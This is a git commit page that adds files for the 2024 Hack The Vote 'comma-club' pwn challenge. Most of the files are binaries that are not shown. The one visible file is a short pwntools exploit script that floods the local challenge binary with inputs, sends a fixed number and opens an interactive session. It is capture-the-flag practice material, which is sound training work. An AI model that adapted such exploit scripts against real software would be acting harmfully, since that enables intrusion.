changed repo structure
This commit is contained in:
BIN
2024/hackthevote/pwn/comma-club/challenge
Executable file
BIN
2024/hackthevote/pwn/comma-club/challenge
Executable file
Binary file not shown.
BIN
2024/hackthevote/pwn/comma-club/challenge.bndb
Normal file
BIN
2024/hackthevote/pwn/comma-club/challenge.bndb
Normal file
Binary file not shown.
20
2024/hackthevote/pwn/comma-club/exploit.py
Normal file
20
2024/hackthevote/pwn/comma-club/exploit.py
Normal file
@@ -0,0 +1,20 @@
|
||||
|
||||
# A custom template for binary exploitation that uses pwntools.
|
||||
# Examples:
|
||||
# python exploit.py DEBUG NOASLR GDB
|
||||
# python exploit.py DEBUG REMOTE
|
||||
|
||||
from pwn import *
|
||||
|
||||
with process("./challenge") as p:
|
||||
print(p.recvuntil(b'>').decode())
|
||||
p.sendline("1".encode())
|
||||
print(p.recvuntil(b'>').decode())
|
||||
for i in range(3000):
|
||||
p.sendline("1".encode())
|
||||
print(p.recvuntil(b'>').decode())
|
||||
p.sendline(b"584057")
|
||||
print(p.recvline())
|
||||
p.interactive()
|
||||
|
||||
|
||||
BIN
2024/hackthevote/pwn/comma-club/ld-linux-x86-64.so.2
Executable file
BIN
2024/hackthevote/pwn/comma-club/ld-linux-x86-64.so.2
Executable file
Binary file not shown.
BIN
2024/hackthevote/pwn/comma-club/libc.so.6
Executable file
BIN
2024/hackthevote/pwn/comma-club/libc.so.6
Executable file
Binary file not shown.
Reference in New Issue
Block a user